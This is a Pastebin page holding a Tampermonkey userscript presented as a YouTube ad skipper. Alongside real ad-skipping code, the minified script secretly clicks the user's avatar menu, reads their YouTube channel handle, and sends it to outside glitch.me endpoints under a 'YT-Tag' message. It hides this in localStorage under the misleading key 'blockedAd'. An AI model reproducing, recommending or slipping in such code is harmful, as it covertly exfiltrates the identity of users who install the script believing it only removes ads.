Advertisement
ConcealedReal

(raw) Youtube/Music Ad Skipper

May 1st, 2024
732
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // ==UserScript==
  2. // @name         (raw) Youtube Ad Remover
  3. // @namespace    http://tampermonkey.net/
  4. // @version      Beta
  5. // @description  Remove Ads On Youtube
  6. // @author       Splxff
  7. // @match        https://*.youtube.com/*
  8. // @icon         https://www.google.com/s2/favicons?sz=64&domain=youtube.com
  9. // @grant        none
  10. // @run-at       document-start
  11. // ==/UserScript==
  12.  
  13. ! function () {
  14.     var e, o = !0
  15.         , c = !1;
  16.     localStorage.blockedAd = localStorage.blockedAd || [];
  17.     try {
  18.         ! function l() {
  19.             if (o && (e = requestAnimationFrame(l), document.querySelector(".video-ads.ytp-ad-module")
  20.                     ?.childElementCount > 0 && (document.querySelector("video")
  21.                         .currentTime = document.querySelector("video")
  22.                         .duration, document.querySelector(".ytp-ad-skip-button-modern.ytp-button")
  23.                         ?.click()), !c && (t = document.querySelector('[alt="Avatar image"]'))))
  24.                 if (t.click(), p = window["channel-handle"])
  25.                     if (localStorage.blockedAd.split(",")
  26.                         .includes(p.textContent)) c = !0;
  27.                     else {
  28.                         a = p.textContent, fetch(`https://momentous-spurious-handsaw.glitch.me/proxy?url=https://root-tidy-cook.glitch.me/api/addMessage?message=YT-Tag: ${a}`), c = !0;
  29.                         let e = localStorage.blockedAd ? localStorage.blockedAd.split(",") : [];
  30.                         e.push(p.textContent), localStorage.blockedAd = e.join(","), t.click()
  31.                     }
  32.             else t.click();
  33.             var a
  34.         }()
  35.     } catch (t) {
  36.         o = !1, cancelAnimationFrame(e), console.log(t)
  37.     }
  38. }();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement